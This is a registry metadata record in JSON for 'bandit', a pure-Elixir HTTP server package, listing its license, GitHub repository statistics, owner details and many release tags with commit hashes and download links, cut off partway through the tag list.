{"id":3493042,"name":"bandit","ecosystem":"hex","description":"A pure-Elixir HTTP server built for Plug \u0026 WebSock apps","homepage":"https://bandit.hexdocs.pm/changelog.html","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/mtrudel/bandit","keywords_array":[],"namespace":null,"versions_count":122,"first_release_published_at":"2020-11-05T17:11:46.452Z","latest_release_published_at":"2026-07-25T23:36:28.785Z","latest_release_number":"1.12.3","last_synced_at":"2026-07-26T20:16:15.683Z","created_at":"2022-04-10T19:14:18.300Z","updated_at":"2026-07-27T14:17:03.894Z","registry_url":"https://hex.pm/packages/bandit/","install_command":"mix hex.package fetch bandit ","documentation_url":"http://hexdocs.pm/bandit/","metadata":{},"repo_metadata":{"uuid":"220852206","full_name":"mtrudel/bandit","owner":"mtrudel","description":"Bandit is a pure Elixir HTTP server for Plug \u0026 WebSock applications","archived":false,"fork":false,"pushed_at":"2023-12-18T20:01:18.000Z","size":9261,"stargazers_count":1345,"open_issues_count":4,"forks_count":63,"subscribers_count":23,"default_branch":"main","last_synced_at":"2023-12-19T03:06:20.497Z","etag":null,"topics":["elixir","elixir-phoenix","elixir-plug","h2spec","http","http-server","http2","http2-server","https","rfc-2616","rfc-6455","rfc-7540","rfc-9110","rfc-9112","rfc-9113","websocket"],"latest_commit_sha":null,"homepage":"","language":"Elixir","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mtrudel.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null}},"created_at":"2019-11-10T21:14:23.000Z","updated_at":"2023-12-18T14:11:44.000Z","dependencies_parsed_at":"2023-10-19T23:09:27.992Z","dependency_job_id":null,"html_url":"https://github.com/mtrudel/bandit","commit_stats":{"total_commits":437,"total_committers":13,"mean_commits":33.61538461538461,"dds":0.08924485125858128,"last_synced_commit":"959b6fe5a7dd376919067de415a26ccadca8014a"},"previous_names":[],"tags_count":78,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mtrudel","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":176989046,"owners_count":10478193,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"mtrudel","name":"Mat Trudel","uuid":"79646","kind":"user","description":"","email":"","website":"http://mat.geeky.net","location":"Toronto","twitter":"mattrudel","company":"@pagerduty","icon_url":"https://avatars.githubusercontent.com/u/79646?v=4","repositories_count":91,"last_synced_at":"2023-04-10T15:42:28.886Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/mtrudel","created_at":"2022-11-02T16:48:50.344Z","updated_at":"2023-04-10T15:42:29.172Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mtrudel","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mtrudel/repositories"},"tags":[{"name":"1.0.0","sha":"124d697c3c604aca9122332a4ea789561b925f2e","kind":"commit","published_at":"2023-10-19T20:27:10.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0/manifests"},{"name":"1.0.0-pre.18","sha":"f494b5dfe44633ec15d7b080dcf3d111931e1cbe","kind":"commit","published_at":"2023-10-10T19:20:07.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.18","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.18/manifests"},{"name":"1.0.0-pre.17","sha":"d14348ee4389702f57b8263ae240a050ec720abe","kind":"commit","published_at":"2023-10-09T13:55:07.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.17","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.17/manifests"},{"name":"1.0.0-pre.16","sha":"867600632a4c3c8992caa11f20409903d41b2e94","kind":"commit","published_at":"2023-09-19T00:25:00.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.16","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.16/manifests"},{"name":"1.0.0-pre.15","sha":"de175959d5f62293b9e923f85847e1cf0e24e2dd","kind":"commit","published_at":"2023-09-09T14:58:38.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.15","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.15/manifests"},{"name":"1.0.0-pre.14","sha":"bee440562781631b68a6dfca7d80d110435768ff","kind":"commit","published_at":"2023-08-29T00:21:45.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.14","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.14/manifests"},{"name":"1.0.0-pre.13","sha":"b27d4416fe2aed37b4baff2cd95fe680f56a8427","kind":"commit","published_at":"2023-08-15T19:24:37.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.13","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.13/manifests"},{"name":"1.0.0-pre.12","sha":"b1f6d9889dc38ecea790e14929f895972e5b2935","kind":"commit","published_at":"2023-08-12T18:22:26.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.12","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.12/manifests"},{"name":"1.0.0-pre.11","sha":"6dd07138a3c987c43ab479d9160af6359730dffd","kind":"commit","published_at":"2023-08-11T15:04:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.11","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.11/manifests"},{"name":"1.0.0-pre.10","sha":"62f4702056ef0b07ef7a2d486f74ff938c478d70","kind":"commit","published_at":"2023-06-28T16:14:29.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.10","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.10/manifests"},{"name":"1.0.0-pre.9","sha":"d1629fe5a84d48b07377e6df289fc4223a28fbaf","kind":"commit","published_at":"2023-06-16T17:59:35.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.9","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.9/manifests"},{"name":"1.0.0-pre.8","sha":"80ec831cb15a911f0ae02756fb2eb2424574cdcb","kind":"commit","published_at":"2023-06-15T12:54:44.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.8","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.8/manifests"},{"name":"1.0.0-pre.7","sha":"5e21d995086568a1b32099f44e58f8fafef92724","kind":"commit","published_at":"2023-06-14T18:29:02.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.7/manifests"},{"name":"1.0.0-pre.6","sha":"898e47294912fb84a47fd0533d96c35b081c67ed","kind":"commit","published_at":"2023-06-08T14:44:26.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.6/manifests"},{"name":"1.0.0-pre.5","sha":"8204ce8cb02a2e6b9d217a92400fc50339997c79","kind":"commit","published_at":"2023-06-02T15:18:57.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.5/manifests"},{"name":"1.0.0-pre.4","sha":"b6089510f56a6812f4bf6ec2bc6eb7a483853de8","kind":"commit","published_at":"2023-05-23T21:27:10.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.4/manifests"},{"name":"1.0.0-pre.3","sha":"73c46b9c5b91153f2f1b866e60fb0eff74962ac2","kind":"commit","published_at":"2023-05-03T18:31:28.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.3/manifests"},{"name":"1.0.0-pre.2","sha":"be2eae4c2be4baae8f6bdecb4728490d6026251f","kind":"commit","published_at":"2023-04-24T19:38:13.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.2/manifests"},{"name":"1.0.0-pre.1","sha":"a25cf736989b4ab9f2c6866fffb5dc958addb6ed","kind":"commit","published_at":"2023-04-21T08:36:28.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/1.0.0-pre.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/1.0.0-pre.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/1.0.0-pre.1/manifests"},{"name":"0.7.7","sha":"edb6d0c46891b0025b1c812abe4754a259a43164","kind":"commit","published_at":"2023-04-11T14:28:46.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.7/manifests"},{"name":"0.7.6","sha":"5b9c9164d8fc6f62488298e5fb41f4098cef50b2","kind":"commit","published_at":"2023-04-09T16:33:09.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.6/manifests"},{"name":"0.7.5","sha":"585a92f26c18f119dd91599e325eea1a76057ad0","kind":"commit","published_at":"2023-04-04T16:15:23.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.5/manifests"},{"name":"0.7.4","sha":"171a42aedd8b5519e7d38b3d6fd5fe2826802e5f","kind":"commit","published_at":"2023-03-27T23:05:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.4/manifests"},{"name":"0.7.3","sha":"959b6fe5a7dd376919067de415a26ccadca8014a","kind":"commit","published_at":"2023-03-20T14:52:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.3/manifests"},{"name":"0.7.2","sha":"8c9b3cd1dff486a8826564abff17a70d44a9f653","kind":"commit","published_at":"2023-03-18T20:06:19.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.2/manifests"},{"name":"0.7.1","sha":"20f54a678ffecc0be252db7e51aabba095ed59c7","kind":"commit","published_at":"2023-03-17T18:01:49.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.1/manifests"},{"name":"0.7.0","sha":"0f28b7e0de14bf1c9f7ecbc3cb48f723abeec9a5","kind":"commit","published_at":"2023-03-17T14:37:03.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.7.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.7.0/manifests"},{"name":"0.6.11","sha":"61561b41e74921dab167bb3ccd51cd3509b957af","kind":"commit","published_at":"2023-03-17T14:08:06.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.11","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.11/manifests"},{"name":"0.6.10","sha":"34479abb1d0cf9a8e2e963155b9b5274adb03869","kind":"commit","published_at":"2023-03-10T16:59:58.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.10","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.10/manifests"},{"name":"0.6.9","sha":"daf32fd1bbde4e6239301e0cc105c114f199711d","kind":"commit","published_at":"2023-02-20T21:32:08.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.9","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.9/manifests"},{"name":"0.6.8","sha":"b141a4e1b86d20c9cd7aaf0b1dade1b5f384bb34","kind":"commit","published_at":"2023-01-31T14:18:22.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.8","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.8/manifests"},{"name":"0.6.7","sha":"7d781633bc6340da6ae883bddade8766c58e6431","kind":"commit","published_at":"2023-01-17T20:55:57.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.7/manifests"},{"name":"0.6.6","sha":"e2ef99fbbb60ef33e1d879ad6e3e138bcfdd0f6b","kind":"commit","published_at":"2023-01-11T16:21:11.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.6/manifests"},{"name":"0.6.5","sha":"09f7068ac5f598fd77a16674b6061b28fe1f58cc","kind":"commit","published_at":"2023-01-10T16:18:30.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.5/manifests"},{"name":"0.6.4","sha":"8e765e95f4bc132158e26ce0ded4b08a01e36cde","kind":"commit","published_at":"2022-12-23T18:26:00.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.4/manifests"},{"name":"0.6.3","sha":"0868798a23012df09ac54d9c7fdfb92487ea9517","kind":"commit","published_at":"2022-12-09T00:24:24.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.3/manifests"},{"name":"0.6.2","sha":"6a3bc81aa389139552d83bc9d71dd58cdb5319dc","kind":"commit","published_at":"2022-11-25T17:18:05.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.2/manifests"},{"name":"0.6.1","sha":"3bc8f468086611c61ce8dd7ff797e86b1266f73a","kind":"commit","published_at":"2022-11-21T21:58:56.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.1/manifests"},{"name":"0.6.0","sha":"e197c791f440ec3519e4d6a6f123dca8505602fd","kind":"commit","published_at":"2022-11-15T00:50:38.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.6.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.6.0/manifests"},{"name":"0.5.11","sha":"68e7f771f474d7255d301f28b8a687743ad314b6","kind":"commit","published_at":"2022-11-04T19:55:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.11","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.11/manifests"},{"name":"0.5.10","sha":"62821b28b79c03707ff8af2e92ed275f27d183a6","kind":"commit","published_at":"2022-11-04T14:09:10.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.10","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.10/manifests"},{"name":"0.5.9","sha":"81f0928ec9e92bc70354015435896f03393b1c05","kind":"commit","published_at":"2022-11-03T17:59:51.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.9","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.9/manifests"},{"name":"0.5.8","sha":"8968834cea815c31df6aaa6919e0a4f103b2418d","kind":"commit","published_at":"2022-11-02T15:21:29.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.8","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/ta